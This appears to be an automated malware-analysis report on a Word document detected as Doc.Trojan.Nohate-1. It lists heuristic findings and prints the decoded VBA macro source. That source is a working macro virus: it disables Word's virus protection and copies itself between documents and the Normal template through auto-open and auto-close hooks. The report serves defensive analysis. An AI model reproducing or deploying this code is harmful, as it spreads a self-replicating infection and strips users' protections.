MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains VBA macros, including AutoOpen and AutoClose, which are commonly used to execute malicious code upon opening or closing a document. The macros attempt to copy themselves between the document and its template, indicating an effort to maintain persistence or spread. The ClamAV detection name 'Doc.Trojan.Nohate-1' further supports the malicious nature of the file.
Heuristics 5
-
ClamAV: Doc.Trojan.Nohate-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Nohate-1
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1510 bytes |
SHA-256: 8cd24bf5448b4a0dd64d7efb7df268f9da34aa7fe6a0532483bcc42d3127fff0 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NoNoHate_A"
Sub AutoExec()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Options.VirusProtection = False
End Sub
Sub AutoOpen()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Virus
End Sub
Sub AutoNew()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Virus
End Sub
Sub AutoClose()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Virus
End Sub
Function Virus()
On Error Resume Next
E
End Function
Function E()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Dim A, B As String
A = Application.NormalTemplate.FullName
B = Application.ActiveDocument.FullName
Application.OrganizerDelete A, "Hate_A", wdOrganizerObjectProjectItems
Application.OrganizerDelete B, "Hate_A", wdOrganizerObjectProjectItems
Application.OrganizerCopy A, B, "NoNoHate_A", wdOrganizerObjectProjectItems
Application.OrganizerCopy B, A, "NoNoHate_A", wdOrganizerObjectProjectItems
End Function
Sub ArquivoSalvar()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Virus
ActiveDocument.Save
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.